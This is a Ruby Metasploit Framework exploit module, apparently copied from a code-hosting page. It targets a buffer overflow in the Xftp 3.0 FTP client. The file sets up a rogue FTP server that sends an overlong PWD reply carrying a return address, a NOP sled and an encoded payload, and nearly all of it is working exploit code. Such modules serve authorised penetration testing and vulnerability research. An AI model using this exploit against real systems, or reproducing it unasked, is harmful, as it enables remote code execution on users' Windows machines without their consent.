100 lines
2.3 KiB
Ruby
100 lines
2.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::TcpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Xftp FTP Client 3.0 PWD Remote Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the Xftp 3.0 FTP client that is triggered
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through an excessively long PWD message.
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},
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'Author' =>
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[
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'zombiefx', # Original exploit author
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'dookie' # MSF module author
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '63968'],
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[ 'EDB', '12332' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Payload' =>
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{
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'Space' => 434,
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'BadChars' => "\x00\x0a",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows Universal', { 'Ret' => 0x100123AF } ], # JMP ECX in nslicense.dll
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],
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'Privileged' => false,
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'DisclosureDate' => 'Apr 22 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
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OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),
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], self.class)
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end
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def on_client_connect(client)
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return if ((p = regenerate_payload(client)) == nil)
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buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"
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client.put(buffer)
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end
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def on_client_data(client)
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# Get the client username
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client.get_once
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# Prompt the client for the password.
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user = "331 Anonymous access allowed.\r\n"
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client.put(user)
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client.get_once
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# Handle the clients PWD command.
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pass = "230 Login successful.\r\n230 User logged in.\r\n"
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client.put(pass)
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client.get_once
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# Send the exploit
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sploit = "257 \"/"
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sploit << rand_text_alpha_upper(1019)
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sploit << [ target.ret ].pack('V')
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sploit << make_nops(55)
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sploit << payload.encoded
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sploit << "\" is current directory.\r\n"
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client.put(sploit)
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# Get the CWD from the client
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client.get_once
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end
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end
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